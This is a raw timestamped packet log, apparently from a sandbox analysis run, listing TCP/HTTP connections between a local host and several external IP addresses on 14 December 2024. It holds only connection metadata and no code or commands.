Dec 14, 2024 14:56:23.843331099 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.843378067 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.844676971 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.844809055 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.844854116 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.846138954 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.846256018 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.846301079 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.847593069 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.847712040 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.847758055 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.849097967 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.849231958 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.849276066 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.850523949 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.850645065 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.850687027 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.852000952 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.852121115 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.852164030 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.853485107 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.853559017 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.853600025 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.855530977 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.855565071 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.855607986 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.856396914 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.856518030 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.856573105 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.857881069 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.857980013 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.858026028 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.859355927 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.859456062 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.859503984 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.860822916 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.860938072 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.860984087 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.862273932 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.862394094 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.862433910 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.863744020 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.863965034 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.864011049 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.865206003 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.865317106 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.865365982 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.866663933 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.866776943 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.866822004 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.868141890 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.868235111 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.868277073 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.869605064 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.869713068 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.869760036 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.871063948 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.871900082 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.871948957 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.873521090 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.873574018 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.873620033 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.874011040 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.874412060 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.874459982 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.875801086 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.875835896 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.875880957 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.876944065 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.877048969 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.877094984 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.878426075 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.878568888 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.878612041 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.879887104 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.879977942 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.880023003 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.881330967 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.881450891 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.881494999 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.882831097 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.882946014 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.882987022 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.884257078 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.884402990 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.884452105 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.885737896 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.885894060 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.885945082 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.887207985 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.887357950 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.887406111 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.888662100 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.888792038 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.888839006 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.890155077 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.890281916 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.890328884 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.891587019 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.891719103 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.891772985 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.893080950 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.893197060 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.893244982 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.894542933 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.894664049 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.894706011 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.896043062 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.896126032 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.896171093 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.897444010 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.897567034 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.897614002 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.898920059 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.899060011 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.899101019 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.900414944 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.900557041 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.900599003 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.901868105 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.901992083 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.902034044 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.903732061 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.903948069 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.903989077 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.904812098 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.961395025 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.036566019 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.036676884 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.036732912 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.037112951 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.037409067 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.037456036 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.037508011 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.038887024 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.038938046 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.039138079 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.040034056 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.040085077 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.040092945 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.041259050 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.041309118 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.041374922 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.042545080 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.042596102 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.042644024 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.043864965 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.043922901 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.043981075 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.045144081 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.045192003 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.045273066 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.046427011 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.046472073 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.046525002 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.047713041 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.047760963 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.047810078 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.049005985 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.049052954 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.049124002 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.050292015 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.050337076 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.050407887 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.051579952 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.051620007 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.051691055 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.052875996 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.052922964 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.052977085 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.054176092 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.054215908 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.054263115 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.055474043 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.055515051 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.055701971 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.056749105 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.056791067 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.056905031 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.058054924 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.058108091 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.058114052 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.059348106 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.059411049 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.059421062 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.060636997 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.060683966 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.060760975 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.061901093 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.061947107 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.062016964 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.063169956 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.063216925 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.063285112 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.064472914 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.064522982 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.064528942 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.065768003 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.065819025 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.065876007 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.067049026 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.067099094 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.067154884 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.068341017 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.068383932 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.068459034 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.069628954 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.069679022 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.069679976 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.070905924 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.070956945 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.071033001 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.072232962 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.072280884 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.072321892 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.073512077 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.073564053 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.073580027 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.074789047 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.074840069 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.074913025 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.076092958 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.076210976 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.076261997 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.077445984 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.077492952 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.077524900 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.078638077 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.078751087 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.078797102 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.079960108 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.080004930 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.080108881 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.081233025 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.081338882 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.081386089 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.082510948 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.082557917 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.082628012 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.083807945 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.083955050 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.084005117 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.085104942 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.085213900 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.085263014 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.086385012 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.086427927 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.086498976 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.087683916 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.087763071 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.087837934 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.088994980 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.089092970 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.089143038 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.090243101 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.090291977 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.090365887 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.091546059 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.091661930 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.091710091 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.092827082 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.092963934 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.093010902 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.094111919 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.094156981 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.094227076 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.095427036 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.095556021 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.095602036 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.096714973 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.096843958 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.096899986 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.098001957 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.098048925 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.098118067 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.099289894 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.099420071 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.099469900 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.100575924 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.100687027 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.100733995 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.101963997 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.102013111 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.102114916 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.103198051 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.103231907 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.103281021 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.228602886 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.228682041 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.228745937 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.229192972 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.229300976 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.229978085 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.230045080 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.230108976 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.230142117 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.230154037 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.282627106 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.317078114 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.350064993 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.403016090 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.437131882 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.440732002 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.440799952 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.560719967 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.738856077 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:24.842947960 CET	80	49871	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:24.843035936 CET	49871	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:24.852061033 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:24.880405903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:24.880518913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:25.000382900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:25.000603914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:25.000624895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:25.000698090 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:25.014241934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:25.134118080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:25.778860092 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.778920889 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779053926 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779089928 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779092073 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:25.779192924 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:25.779206038 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779241085 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779289007 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:25.779350996 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779383898 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779417038 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779432058 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:25.779453039 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.779499054 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:25.901467085 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.901554108 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.901622057 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:25.904274940 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:25.945780039 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.035561085 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.035628080 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.035691977 CET	49873	80	192.168.2.5	185.81.68.147
